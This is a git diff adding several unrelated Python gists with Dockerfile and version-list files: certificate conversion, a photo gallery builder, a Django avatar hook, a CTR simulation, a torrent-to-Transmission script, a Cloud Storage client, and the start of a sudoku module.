+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","pyopenssl==26.0.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","requests==2.32.4"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/pyopenssl_3.7.txt b/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/pyopenssl_3.7.txt
new file mode 100644
index 00000000..04cb8342
--- /dev/null
+++ b/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/pyopenssl_3.7.txt
@@ -0,0 +1 @@
+0.6, 0.7, 0.8, 0.9, 0.10, 0.12, 0.13, 0.13.1, 0.14, 0.15, 0.15.1, 16.0.0, 16.1.0, 16.2.0, 17.0.0, 17.1.0, 17.2.0, 17.3.0, 17.4.0, 17.5.0, 18.0.0, 19.0.0, 19.1.0, 20.0.0, 20.0.1, 21.0.0, 22.0.0, 22.1.0, 23.0.0, 23.1.0, 23.1.1, 23.2.0, 23.3.0, 24.0.0, 24.1.0, 24.2.1, 24.3.0, 25.0.0, 25.1.0, 25.2.0, 25.3.0, 26.0.0
\ No newline at end of file
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/pyopenssl_3.8.txt b/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/pyopenssl_3.8.txt
new file mode 100644
index 00000000..04cb8342
--- /dev/null
+++ b/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/pyopenssl_3.8.txt
@@ -0,0 +1 @@
+0.6, 0.7, 0.8, 0.9, 0.10, 0.12, 0.13, 0.13.1, 0.14, 0.15, 0.15.1, 16.0.0, 16.1.0, 16.2.0, 17.0.0, 17.1.0, 17.2.0, 17.3.0, 17.4.0, 17.5.0, 18.0.0, 19.0.0, 19.1.0, 20.0.0, 20.0.1, 21.0.0, 22.0.0, 22.1.0, 23.0.0, 23.1.0, 23.1.1, 23.2.0, 23.3.0, 24.0.0, 24.1.0, 24.2.1, 24.3.0, 25.0.0, 25.1.0, 25.2.0, 25.3.0, 26.0.0
\ No newline at end of file
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/requests_3.8.txt b/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/requests_3.8.txt
new file mode 100644
index 00000000..c92fe7dc
--- /dev/null
+++ b/hard-gists/756b1d8df2d1487497d29b90e81f8068/modules/requests_3.8.txt
@@ -0,0 +1 @@
+0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.6, 0.10.7, 0.10.8, 0.11.1, 0.11.2, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.13.8, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.8.0, 2.12.0, 2.12.1, 2.12.2, 2.12.3, 2.12.4, 2.12.5, 2.13.0, 2.14.0, 2.14.1, 2.14.2, 2.15.1, 2.16.0, 2.16.1, 2.16.2, 2.16.3, 2.16.4, 2.16.5, 2.17.0, 2.17.1, 2.17.2, 2.17.3, 2.18.0, 2.18.1, 2.18.2, 2.18.3, 2.18.4, 2.19.0, 2.19.1, 2.20.0, 2.20.1, 2.21.0, 2.22.0, 2.23.0, 2.24.0, 2.25.0, 2.25.1, 2.26.0, 2.27.0, 2.27.1, 2.28.0, 2.28.1, 2.28.2, 2.29.0, 2.30.0, 2.31.0, 2.32.2, 2.32.3, 2.32.4, 2.32.5, 2.33.0, 2.33.1
\ No newline at end of file
diff --git a/hard-gists/756b1d8df2d1487497d29b90e81f8068/snippet.py b/hard-gists/756b1d8df2d1487497d29b90e81f8068/snippet.py
new file mode 100644
index 00000000..ff772393
--- /dev/null
+++ b/hard-gists/756b1d8df2d1487497d29b90e81f8068/snippet.py
@@ -0,0 +1,26 @@
+import contextlib
+import OpenSSL.crypto
+import os
+import requests
+import ssl
+import tempfile
+
+@contextlib.contextmanager
+def pfx_to_pem(pfx_path, pfx_password):
+    ''' Decrypts the .pfx file to be used with requests. '''
+    with tempfile.NamedTemporaryFile(suffix='.pem') as t_pem:
+        f_pem = open(t_pem.name, 'wb')
+        pfx = open(pfx_path, 'rb').read()
+        p12 = OpenSSL.crypto.load_pkcs12(pfx, pfx_password)
+        f_pem.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, p12.get_privatekey()))
+        f_pem.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, p12.get_certificate()))
+        ca = p12.get_ca_certificates()
+        if ca is not None:
+            for cert in ca:
+                f_pem.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))
+        f_pem.close()
+        yield t_pem.name
+
+# HOW TO USE:
+# with pfx_to_pem('foo.pem', 'bar') as cert:
+#     requests.post(url, cert=cert, data=payload)
\ No newline at end of file
diff --git a/hard-gists/756c86fdad219867c0f4/._snippet.py b/hard-gists/756c86fdad219867c0f4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/756c86fdad219867c0f4/._snippet.py differ
diff --git a/hard-gists/756c86fdad219867c0f4/snippet.py b/hard-gists/756c86fdad219867c0f4/snippet.py
new file mode 100644
index 00000000..0e83b7d1
--- /dev/null
+++ b/hard-gists/756c86fdad219867c0f4/snippet.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+
+# install imagesize: pip install imagesize
+
+__author__ = 'Olivier Pieters'
+__author_email__ = 'me@olivierpieters.be'
+__license__ = 'BSD-3-Clause'
+
+import yaml, imagesize
+from os import listdir, rename
+from os.path import isfile, join
+
+# configuration
+output_file = "ghent-light-festival.yml"
+input_file = output_file
+image_path = "ghent-light-festival"
+extensions= ['jpg', 'png']
+
+# set correct path
+path = join("../../assets/photography/", image_path)
+
+# extract image files
+print('Collecting files...')
+files = [f for f in listdir(path) if isfile(join(path, f))]
+files = [f for f in files if f[f.rfind('.')+1:] in extensions ]
+
+# rename image files
+print('Renaming files...')
+new_files = []
+for f in files:
+    if f[f.rfind('-')+1:f.rfind('.')] != 'thumbnail':
+        newf = f[:f.rfind('-')] + "-%sx%s" % imagesize.get(join(path, f)) + f[f.rfind('.'):]
+        rename(join(path, f),join(path, newf))
+    else:
+        newf = f
+    new_files.append(newf)
+
+files = new_files
+
+# helper objects to store gallery data
+new_gallery = {}
+thumbs = {}
+
+# group gallery data
+print('Grouping files...')
+for f in files:
+    filename = f[:f.rfind('-')]
+    if f[f.rfind('-')+1:f.rfind('.')] == "thumbnail":
+        thumbs[filename] = f
+    else:
+        if filename in new_gallery:
+            new_gallery[filename].append(f)
+        else:
+            new_gallery[filename] = [f]
+
+# find largest image -> set as original
+print('Searching for originals and missing thumbnails...')
+originals = {}
+for image_set in new_gallery:
+    max_width, max_height = imagesize.get(join(path, new_gallery[image_set][0]))
+    min_width, min_height = imagesize.get(join(path, new_gallery[image_set][0]))
+    original = new_gallery[image_set][0]
+    thumbnail = new_gallery[image_set][0]
+    for image in new_gallery[image_set]:
+        width, height = imagesize.get(join(path, image))
+        if (width*height) > (max_width*max_height):
+            original = image
+        if (width*height) < (min_width*min_height):
+            thumbnail = image
+    # delete original from list to avoid double entries
+    del new_gallery[image_set][new_gallery[image_set].index(original)]
+    originals[image_set] = original
+    # add thumbnial if not yet in dict (not removed since might still be useful)
+    if image_set not in thumbs:
+        thumbs[image_set] = thumbnail
+
+# try to load YAML data
+print('Checking existing YAML data...')
+if isfile(input_file):
+    input_gallery = yaml.load(open(input_file, 'r'))
+else:
+    # create empty dummy file
+    input_gallery = {"pictures": []}
+
+old_gallery = input_gallery['pictures']
+
+# merge two data sets into one
+print('Merging YAML data...')
+for pic in new_gallery:
+    found = False
+    # try to find matching filename
+    for i in old_gallery:
+        if pic == i["filename"]:
+            i["sizes"] = new_gallery[pic]
+            # include thumbnail if present
+            if pic in thumbs:
+                i["thumbnail"] = thumbs[pic]
+            found = True
+    if not found:
+        # create new entry
+        old_gallery.append({"filename": pic, "sizes": new_gallery[pic], "thumbnail": thumbs[pic], "original": originals[pic]})
+
+# check if path existing
+if "picture_path" not in input_gallery:
+    input_gallery["picture_path"] = image_path
+
+# write to output file
+print('Writing YAML data to file...')
+with open(output_file, 'w') as f:
+    f.write( yaml.dump(input_gallery, default_flow_style=False) )
diff --git a/hard-gists/7571752/._snippet.py b/hard-gists/7571752/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7571752/._snippet.py differ
diff --git a/hard-gists/7571752/snippet.py b/hard-gists/7571752/snippet.py
new file mode 100644
index 00000000..d0d21356
--- /dev/null
+++ b/hard-gists/7571752/snippet.py
@@ -0,0 +1,62 @@
+import urllib2
+
+from django.template.defaultfilters import slugify
+from django.core.files.base import ContentFile
+from django.dispatch import receiver
+
+from avatar.models import Avatar
+from allauth.account.signals import user_signed_up
+
+
+def name_from_url(url):
+    """
+    >>> name_from_url('http://google.com/dir/file.ext')
+    u'file.ext'
+    >>> name_from_url('http://google.com/dir/')
+    u'dir'
+    >>> name_from_url('http://google.com/dir')
+    u'dir'
+    >>> name_from_url('http://google.com/dir/..')
+    u'dir'
+    >>> name_from_url('http://google.com/dir/../')
+    u'dir'
+    >>> name_from_url('http://google.com')
+    u'google.com'
+    >>> name_from_url('http://google.com/dir/subdir/file..ext')
+    u'file.ext'
+    """
+    try:
+        from urllib.parse import urlparse
+    except ImportError:
+        from urlparse import urlparse
+    p = urlparse(url)
+    for base in (p.path.split('/')[-1],
+                 p.path,
+                 p.netloc):
+        name = ".".join(filter(lambda s: s,
+                               map(slugify, base.split("."))))
+        if name:
+            return name
+
+
+def copy_avatar(request, user, account):
+    url = account.get_avatar_url()
+    if url:
+        ava = Avatar(user=user)
+        ava.primary = Avatar.objects.filter(user=user).count() == 0
+        try:
+            content = urllib2.urlopen(url).read()
+            name = name_from_url(url)
+            ava.avatar.save(name, ContentFile(content))
+        except IOError:
+            # Let's nog make a big deal out of this...
+            pass
+
+
+@receiver(user_signed_up)
+def on_user_signed_up(sender, request, *args, **kwargs):
+    sociallogin = kwargs.get('sociallogin')
+    if sociallogin:
+        copy_avatar(request,
+                    sociallogin.account.user,
+                    sociallogin.account)
diff --git a/hard-gists/757191/._snippet.py b/hard-gists/757191/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/757191/._snippet.py differ
diff --git a/hard-gists/757191/snippet.py b/hard-gists/757191/snippet.py
new file mode 100644
index 00000000..bc1ab747
--- /dev/null
+++ b/hard-gists/757191/snippet.py
@@ -0,0 +1,3 @@
+import pyximport
+import numpy as np
+pyximport.install(setup_args={'include_dirs': np.get_include()})
\ No newline at end of file
diff --git a/hard-gists/7578539/._snippet.py b/hard-gists/7578539/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7578539/._snippet.py differ
diff --git a/hard-gists/7578539/snippet.py b/hard-gists/7578539/snippet.py
new file mode 100644
index 00000000..b93aaafe
--- /dev/null
+++ b/hard-gists/7578539/snippet.py
@@ -0,0 +1,137 @@
+from pylab import *
+from numpy import *
+from numpy.linalg import solve
+from scipy.integrate import odeint
+from scipy.stats import norm, uniform, beta
+from scipy.special import jacobi
+
+
+
+a = 0.0
+b = 3.0
+theta=1.0
+sigma=sqrt(theta/(2*(a+b+2)))
+
+tscale = 0.05
+
+invariant_distribution = poly1d( [-1 for x in range(int(a))], True)*poly1d( [1 for x in range(int(b))], True)
+
+def eigenvalue(n):
+    return theta*n*(n+a+b+1)/(a+b+2)
+
+gaussian_var = norm()
+def dW(dt):
+    return norm.rvs() / sqrt(dt)
+
+def random_walk(y0, tmax, dt, times = None):
+    dt = dt * tscale
+    def rhs(y,t):
+        return -theta*(y-(a-b)/(a+b+2)) + sqrt(2*theta*(1-y*y)/(a+b+2))*dW(dt/tscale)
+    if (times is None):
+        times = arange(0,tmax,dt)
+    y = zeros(shape=times.shape, dtype=float)
+    y[0] = y0
+    for i in range(1,y.shape[0]):
+        y[i] = y[i-1] + rhs(y[i-1], times[i])*dt
+        if abs(y[i]) > 1:
+            y[i] = y[i] / abs(y[i])
+    return (times, y)
+
+def beta_prior(s, f):
+    return poly1d(ones(shape=(s,)), True)*poly1d(-1*ones(shape=(f,)), True)
+
+def poly_to_jacobi(x):
+    """x is a poly1d object"""
+    xc = x.coeffs
+    N = x.order+1
+    matrix = zeros(shape=(N,N), dtype=float)
+    for i in range(N):
+        matrix[N-i-1:N, i] = jacobi(i,a,b).coeffs
+    return solve(matrix, xc)
+
+def jacobi_to_poly(x):
+    result = poly1d([0])
+    for i in range(x.shape[0]):
+        result = result + (jacobi(i,a,b)*invariant_distribution)*x[i]
+    return result
+
+def jacobi_to_poly_no_invariant(x):
+    result = poly1d([0])
+    for i in range(x.shape[0]):
+        result = result + jacobi(i,a,b)*x[i]
+    return result
+
+def propagate_jacobi(pc, t):
+    """Takes jacobi coefficients and propagates them"""
+    n = arange(pc.shape[0], dtype=float)
+    l = theta*n*(n+a+b+1.0)/(a+b+2.0)*tscale
+    return exp(-l*t)*pc
+
+def truncate_unnecessary_jacobi(p):
+    p_normalized = p / (abs(p).sum())
+    cs = cumsum(abs(p_normalized[::-1]))[::-1]
+    return p_normalized[where(abs(cs) > 1e-4)]
+
+def pde_solve(prior, t):
+    result = zeros(shape=(t.shape[0], prior.shape[0]), dtype=float)
+    result[0,:] = prior
+    for i in range(1,t.shape[0]):
+        result[i,:] = propagate_jacobi(result[i-1,:], t[i]-t[i-1])
+    return result
+
+def transform_to_x(pdf, x):
+    result = zeros(shape=(pdf.shape[0], x.shape[0]), dtype=float)
+    for i in range(0, pdf.shape[0]):
+        p = jacobi_to_poly(pdf[i,:])
+        result[i,:] = p(x)
+        result[i,:] /= result[i,:].sum()
+    return result
+
+tmax = 4
+prior = beta_prior(40, 20)
+prior_in_jacobi = poly_to_jacobi(prior)
+
+dt = 0.1
+times = arange(0,tmax,dt)
+x = arange(-1,1,0.01)
+
+rw_dt = 0.01
+t, y = random_walk(0.35*2-1, tmax, rw_dt)
+
+solution_as_x = zeros(shape=(times.size, x.size), dtype=float)
+solution_as_jacobi = None
+empirical_ctr = zeros(shape=(4,), dtype=float)
+for i in range(0,4):
+    nt = int(1.0/dt)
+    prior = prior_in_jacobi
+    rnd = uniform(0,1)
+    if (i > 0):
+        nsamples = 40
+        r = rnd.rvs(nsamples)
+        ctr = (y[i/rw_dt]+1)/2.0
+        print "CTR: " + str(ctr)
+        success = (r < ctr).sum()
+        print "Empirical: " + str(success / float(nsamples))
+        evidence = beta_prior( nsamples - success, success)
+        prior = None
+        j = truncate_unnecessary_jacobi(solution_as_jacobi[int(1/dt)-1])
+        prior = poly_to_jacobi(evidence * jacobi_to_poly_no_invariant(j))
+        empirical_ctr[i] = success / float(nsamples)
+
+    solution_as_jacobi = pde_solve(prior, times[i*nt:(i+1)*nt])
+
+    solution_as_x[i*nt:(i+1)*nt] = transform_to_x(solution_as_jacobi, x)
+
+
+plot(arange(0,4), empirical_ctr, 'go')
+plot(t, (y+1)/2.0, 'k')
+
+imshow(solution_as_x.transpose(), origin='lower', extent=[0,tmax,0,1])
+xlabel("time")
+ylabel("CTR")
+title("Bayesian Estimate of CTR")
+colorbar()
+
+
+
+show()
diff --git a/hard-gists/7622246/._snippet.py b/hard-gists/7622246/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7622246/._snippet.py differ
diff --git a/hard-gists/7622246/snippet.py b/hard-gists/7622246/snippet.py
new file mode 100644
index 00000000..eadebecc
--- /dev/null
+++ b/hard-gists/7622246/snippet.py
@@ -0,0 +1,140 @@
+# Usage of this file:
+# This code is intended for use in the iOS python interpreter named 'Pythonista'.
+# When looking at a page on the torrentz.eu search engine for a torrent result from Mobile Safari
+# you can click on a bookmarklet (mentioned below) and it will cause the following:
+# - Search results for the page are scraped
+# - Torrent sites are visited for direct download links for the .torrent file
+# - A .torrent file is downloaded
+# - The .torrent file trackers are updated to include the scraped trackers listed on torrentz.eu
+# - The .torrent file is re-uploaded to your Dropbox account (for an on-demand HTTP source)
+# - The direct download link for the modified .torrent file is passed via RPC to a Transmission torrent server
+# - The torrent is added for download (suspended / not started)
+
+# The bookmarklet:
+# Create a bookmark in Safari - for anything, named something meaningful like 'DL Torrentz'
+# Edit the bookmark, and change the URL to:
+# javascript:(function()%7Bif(document.location.href.indexOf('http')===0)document.location.href='pythonista://transtor/transtor?action=run&argv='+document.location.href;%7D)();
+
+# This file is stored under a folder you'll create called 'transtor' in Pythonista
+# When the folder is properly populated, it will contain the following:
+# - transtor.py
+# - bencode.py - This file, and BTL.py, are from: https://pypi.python.org/pypi/BitTorrent-bencode
+# - BTL.py
+# - 'dropboxnew' folder (see note below)
+
+import requests, re, sys, bencode, tempfile, json, console
+
+# The dropbox module that's included with Pythonista is out of date.
+# You can bring in the pure python updated official module under a folder called 'pythonnew'
+# If you need an easy way to upload files into / out of Pythonista, here's a one-file
+# WebDAV server: https://github.com/pudquick/TinyWebDav/blob/FirstVersion/webdav.py
+
+import dropboxnew as dropbox
+
+# View documentation here on getting a dropbox access token: https://www.dropbox.com/developers/core/start/python
+dropbox_access_token = u'YOUR_APP_ACCESS_TOKEN_HERE'
+dropbox_client = dropbox.client.DropboxClient(dropbox_access_token)
+rpc_url = "http://your.transmission.web.server:9091/transmission/rpc/"
+
+def transfer_torrent(a_url):
+    t_hash = a_url.split('/')[-1]
+    t_html = requests.get(a_url).content
+    # Announce list for trackers
+    announce_id = re.findall(r'href=.([^>]+)["\']', t_html.split('This lists all the active trackers',1)[1].split('compatible list here',1)[0])[0].split('announcelist_',1)[-1]
+    announce_url = 'http://torrentz.eu/announcelist_%s' % announce_id
+    alt_trackers = requests.get(announce_url).content
+    alt_trackers = [x.strip() for x in alt_trackers.split('\n') if x.strip()]
+    # Slice out the downloads
+    downloads = t_html.split('<div class="download">', 1)[-1].split('<div class="trackers">', 1)[0]
+    downloads = [x for x in downloads.split('<dl><dt>')[1:] if '<dd>Sponsored Link</dd>' not in x]
+    downloads = [re.findall('^.+(http://[^"\']+)', x)[0] for x in downloads]
+    # Filter out sites that don't give obvious direct links to .torrent files
+    site_blacklist = set(['www.torrenthound.com', 'www.houndmirror.com', 'www.torrentreactor.net', 'www.limetorrents.com', 'www.monova.org', 'www.torrentcrazy.com'])
+    downloads = [x for x in downloads if re.findall('//([^/]+)',x)[0] not in site_blacklist]
+    # Limit it to just 10 sites to visit
+    downloads = downloads[:10]
+    # Need some formulas
+    # Try a generic link extraction, should be enough - we just need *a* torrent
+    torrent_files = set()
+    for a_site in downloads:
+        print "> Getting:", a_site
+        a_site_html = requests.get(a_site).content
+        torrent_files.update(set([x for x in re.findall(r'<a [^>]*href=["\'](http:[^"\'>]+\.torrent[^"\'>]*)["\']', a_site_html) if t_hash in x.lower()]))   
+    torrent_files = sorted(torrent_files)    
+    # Filter out malware downloads
+    malware_blacklist = set(['clickdownloader.com'])
+    torrent_files = [x for x in torrent_files if re.findall('//[^/]*?([^/.]+[.][^/.]+)/', x)[0] not in malware_blacklist]
+    # Keep only URLs for domains 'known good' to direct download so far
+    site_whitelist = set(['torcache.net'])
+    whitelist_torrent_files = [x for x in torrent_files if re.findall('//([^/]+)',x)[0] in site_whitelist]
+    # Check if we have at least one good URL
+    if not whitelist_torrent_files:
+        print "Error: No whitelisted download locations found"
+        print "Downloads:", torrent_files.__repr__()
+        print "Sites:", downloads.__repr__()
+        return
+    # We're only here if we have at least one confirmed direct downloadable .torrent URL
+    target_tor = whitelist_torrent_files[0]
+    print '\n*** Downloading .torrent:', target_tor
+    # Get the contents of the .torrent file
+    print '*** Modifying .torrent ...'
+    bcode = requests.get(target_tor).content
+    bdict = bencode.bdecode(bcode)
+    # Get the announce-list - should be a list of lists
+    b_announce = bdict.get('announce-list', [])
+    # Need to flatten the list and inject our own alt_trackers, using that trick
+    b_announce = [y for x in b_announce for y in x]
+    # Combine in our alt_trackers and reset to unique and sorted
+    b_announce = sorted(set(b_announce + alt_trackers))
+    # Split and re-set with udp:// URLs first - and filter out non-sense urls, potentially
+    http_t, udp_t = [x for x in b_announce if x.lower().startswith('http://')],[x for x in b_announce if x.lower().startswith('udp://')]
+    b_announce = udp_t + http_t
+    # Refashion into list wrapped items
+    b_announce = [[x] for x in b_announce]
+    # Set the announce-list to the new value
+    bdict['announce-list'] = b_announce
+    # Form a newly encoded torrent file
+    new_torrent = bencode.bencode(bdict)
+    # Save the output to a tempfile
+    temp_tor = tempfile.TemporaryFile()
+    temp_tor.write(new_torrent)
+    temp_tor.seek(0)
+    # Upload the file to Dropbox
+    print '*** Uploading .torrent:', t_hash + '.torrent'
+    response = dropbox_client.put_file('/%s.torrent' % t_hash, temp_tor)
+    # Release the tempfile
+    temp_tor.close()
+    # Get the sharing URL
+    print '*** Getting share link ...'
+    share_info = dropbox_client.share('/%s.torrent' % t_hash, short_url=False)
+    share_url = share_info['url']
+    # Fake download it at least once so Dropbox is famliar with our IP address (probably unnecessary)
+    _ = requests.get(share_url).content[0:0]
+    # Update the URL to include the direct download action
+    share_url += '?dl=1'
+    # Now to send this URL onto the web interface ...
+    rpc_id = requests.get(rpc_url).headers['x-transmission-session-id']
+    headers = {'Content-Type':'application/json','Accept':'*/*','X-Requested-With':'XMLHttpRequest', 'X-Transmission-Session-Id': rpc_id}
+    payload = {'method': 'torrent-add', 'arguments': {'filename': share_url}}
+    print '*** Transferring to Transmission ...'
+    r_upload = requests.post(rpc_url, data=json.dumps(payload), headers=headers)
+    r_response = json.loads(r_upload.content)
+    print r_response.__repr__()
+    print "DONE !"
+
+def main():
+    a_url = None
+    if (len(sys.argv) > 0):
+        try:
+            a_url = sys.argv[1]
+        except Exception:
+            a_url = None
+    if not a_url:
+        print repr(sys.argv)
+        return
+    console.clear()
+    transfer_torrent(a_url)
+    # transfer_torrent("http://torrentz.eu/torrent_hash_here")
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/7634c596fe7669a54321/._snippet.py b/hard-gists/7634c596fe7669a54321/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7634c596fe7669a54321/._snippet.py differ
diff --git a/hard-gists/7634c596fe7669a54321/snippet.py b/hard-gists/7634c596fe7669a54321/snippet.py
new file mode 100644
index 00000000..4bf21669
--- /dev/null
+++ b/hard-gists/7634c596fe7669a54321/snippet.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+
+"""Sample Google Cloud Storage API client.
+
+Based on <https://cloud.google.com/storage/docs/json_api/v1/json-api-python-samples>,
+but removed parts that are not relevant to the Cloud Storage API.
+
+Assumes the use of a service account, whose secrets are stored in
+$HOME/google-api-secrets.json"""
+
+import apiclient.discovery
+import httplib2
+import json
+import oauth2client.client
+import os
+
+GOOGLE_API_SECRET_PATH = os.path.join(os.environ['HOME'], 'google-api-secrets.json')
+BUCKET_NAME = 'my-bucket'
+
+# Load secrets from file
+google_api_secret = json.load(open(GOOGLE_API_SECRET_PATH))
+
+# Make credentials object
+credentials = oauth2client.client.SignedJwtAssertionCredentials(
+    google_api_secret['client_email'],
+    google_api_secret['private_key'],
+    scope=['https://www.googleapis.com/auth/devstorage.read_write'])
+
+# Make storage service object
+storage = apiclient.discovery.build('storage', 'v1', http=credentials.authorize(httplib2.Http()))
+
+# Get bucket object
+req = storage.buckets().get(bucket=BUCKET_NAME)
+resp = req.execute()
+print json.dumps(resp)
+
+# Make initial list request
+req = storage.objects().list(
+    bucket=BUCKET_NAME,
+    fields='nextPageToken,items(name,size,contentType,metadata(my-key))')
+
+# Submit list requests, handling paging
+while req is not None:
+  resp = req.execute()
+  print json.dumps(resp)
+  req = storage.objects().list_next(req, resp)
\ No newline at end of file
diff --git a/hard-gists/7639387/._snippet.py b/hard-gists/7639387/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7639387/._snippet.py differ
diff --git a/hard-gists/7639387/snippet.py b/hard-gists/7639387/snippet.py
new file mode 100644
index 00000000..294650b0
--- /dev/null
+++ b/hard-gists/7639387/snippet.py
@@ -0,0 +1,760 @@
+# sudoku.py
+
+from __future__ import print_function
+
+import random, itertools, string, operator, copy
+
+import constraint, networkx, sympy, glpk
+
+####################################################################
+# Basic parameters
+####################################################################
+
+def n_rows(boxsize): return boxsize**2
+def n_cols(boxsize): return boxsize**2
+def n_boxes(boxsize): return boxsize**2
+def n_symbols(boxsize): return max(n_rows(boxsize), n_cols(boxsize))
+def n_cells(boxsize): return n_rows(boxsize)*n_cols(boxsize)
+
+####################################################################
+# Cell label functions
+####################################################################
+
+def cell(row, column, boxsize): return (row - 1) * n_rows(boxsize) + column
+def column(cell, boxsize): return (cell - 1) % n_rows(boxsize) + 1
+def row(cell, boxsize): return (cell - 1) / n_cols(boxsize) + 1
+
+def box_representative(box, boxsize):
+    i = boxsize * ((box - 1) / boxsize)
+    j = boxsize * ((box - 1) % boxsize) + 1
+    return boxsize**2*i + j
+
+####################################################################
+# Convenient ranges
+####################################################################
+
+def cells(boxsize): return range(1, n_cells(boxsize) + 1)
+def symbols(boxsize): return range(1, n_symbols(boxsize) + 1)
+def rows(boxsize): return range(1, n_rows(boxsize) + 1)
+def cols(boxsize): return range(1, n_cols(boxsize) + 1)
+def boxes(boxsize): return range(1, n_boxes(boxsize) + 1)
+
+def row_r(row, boxsize):
+    """Cell labels in 'row' of Sudoku puzzle of dimension 'boxsize'."""
+    nr = n_rows(boxsize)
+    return range(nr * (row - 1) + 1, nr * row + 1)
+
+def col_r(column, boxsize):
+    """Cell labels in 'column' of Sudoku puzzle of dimension 'boxsize'."""
+    nc = n_cols(boxsize)
+    ncl = n_cells(boxsize)
+    return range(column, ncl + 1 - (nc - column), nc)
+
+def box_r(box, boxsize):
+    """Cell labels in 'box' of Sudoku puzzle of dimension 'boxsize'."""
+    return [box_representative(box, boxsize) + j + k - 1 for j in range(0, boxsize * n_rows(boxsize), n_cols(boxsize)) for k in range(1, boxsize + 1)]
+
+def cells_by_row(boxsize):
+    """cells_by_row(boxsize) -> list
+
+    Returns a list of cell labels ordered by row for the given boxsize."""
+    return [row_r(row, boxsize) for row in rows(boxsize)]
+
+def cells_by_col(boxsize):
+    """cells_by_col(boxsize) -> list
+
+    Returns a list of cell labels ordered by column for the given boxsize."""
+    return [col_r(column, boxsize) for column in cols(boxsize)]
+
+def cells_by_box(boxsize):
+    """cells_by_box(boxsize) -> list
+
+    Returns a list of cell labels ordered by box for the given boxsize."""
+    return [box_r(box, boxsize) for box in boxes(boxsize)]
+
+def puzzle_rows(puzzle, boxsize):
+    """Cell values, ordered by row."""
+    return [map(puzzle.get, row_r(row, boxsize)) for row in rows(boxsize)]
+
+def puzzle_columns(puzzle, boxsize):
+    """Cell values, ordered by column."""
+    return [map(puzzle.get, col_r(column, boxsize)) for column in cols(boxsize)]
+
+def puzzle_boxes(puzzle, boxsize):
+    """Cell values, ordered by box."""
+    return [map(puzzle.get, box_r(box, boxsize)) for box in boxes(boxsize)]
+
+####################################################################
+# Convenient functions
+####################################################################
+
+def ordered_pairs(range):
+    """All ordered pairs from objects in 'range'."""
+    return itertools.combinations(range, 2)
+
+def flatten(list_of_lists):
+    "Flatten one level of nesting"
+    return itertools.chain.from_iterable(list_of_lists)
+
+def int_to_printable(i):
+    """Convert an integer to a printable character."""
+    return string.printable[i]
+
+def printable_to_int(c):
+    """Convert a printable character to a integer."""
+    return string.printable.index(c)
+
+def are_all_different(l):
+    """Test whether all elements in range 'l' are different."""
+    return all(itertools.starmap(operator.ne, ordered_pairs(l)))
+
+def are_all_different_nested(l):
+    """Test whether every range in range 'l' is a range of all different
+    elements."""
+    return all(map(are_all_different, l))
+
+def strip_ws(puzzle_string):
+    """Remove newline and space characters from a string."""
+    return puzzle_string.replace('\n', '').replace(' ','')
+
+def colorize(c, color = '1'):
+    CSI = '\x1b['
+    reset = CSI + 'm'
+    return CSI + "3" + color + "m" + c + reset
+
+def diff_s(s1, s2):
+    s = ''
+    for i in range(len(s1)):
+        if s1[i]!=s2[i]:
+            s += colorize(s2[i])
+        else:
+            s += s2[i]
+    return s
+
+####################################################################
+# Cell dependencies
+####################################################################
+
+def dependent_cells(boxsize):
+    """List of all pairs (x, y) with x < y such that x and y either lie in the 
+    same row, same column or same box."""
+    return list(set(flatten(map(list, map(ordered_pairs, cells_by_row(boxsize) + cells_by_col(boxsize) + cells_by_box(boxsize))))))
+
+####################################################################
+# String/dictionary conversions
+####################################################################
+
+def dict_to_string_(fixed, boxsize, padding = 0, rowend = "", row_sep = "", box_sep = "", col_sep = "", last_row_hack = ""):
+    """Returns a puzzle string of dimension 'boxsize' from a dictionary of 
+    'fixed' cells."""
+    s = ''
+    s += row_sep
+    for row in rows(boxsize):
+        s += box_sep
+        for col in cols(boxsize):
+            symbol = fixed.get(cell(row, col, boxsize))
+            if symbol:
+                s += int_to_printable(symbol) + " "*padding
+            else:
+                s += '.' + ' '*padding
+            if col % boxsize == 0:
+                s += box_sep
+            if col < boxsize*boxsize:
+               s += col_sep
+        s += rowend               
+        if (row % boxsize == 0 and row < boxsize*boxsize):
+            s += row_sep
+        elif row == boxsize*boxsize:
+            s += last_row_hack
+    return s
+
+def dict_to_string(fixed, boxsize, padding = 0, rowend = ""):
+    """Returns a puzzle string of dimension 'boxsize' from a dictionary of 
+    'fixed' cells with some suitably chosen row/column seperators."""
+    row_sep = boxsize*('+' + (2*boxsize + 1) * '-') + '+' + '\n'
+    box_sep = '| '
